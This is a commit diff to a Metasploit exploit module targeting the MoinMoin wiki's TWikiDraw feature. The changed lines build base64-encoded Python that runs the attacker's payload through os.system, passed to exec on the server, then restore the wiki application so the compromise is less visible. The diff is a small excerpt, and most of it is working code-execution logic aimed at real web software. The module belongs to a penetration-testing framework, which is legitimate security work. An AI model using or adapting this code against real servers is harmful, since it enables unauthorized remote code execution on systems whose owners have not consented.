Try restore also at exploiting time

Author: jvazquez-r7

modules/exploits/unix/webapp/moinmoin_twikidraw.rb

@@ -217,7 +217,6 @@ def writable_page?(session)
 		return true
 	end
 
-
 	def exploit
 
 		# Init variables
@@ -250,7 +249,11 @@ def exploit
 
 		# Upload payload
 		print_status("Trying to upload payload...")
-		python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
+		python_cmd = "import sys, os\n"
+		python_cmd << "os.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))\n"
+		python_cmd << "sys.path.insert(0, '/usr/local/share/moin')\n"
+		python_cmd << "from MoinMoin.web.serving import make_application\n"
+		python_cmd << "application = make_application(shared=True)"
 		res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
 		if not res
 			fail_with(Exploit::Failure::Unknown, "Error uploading the payload")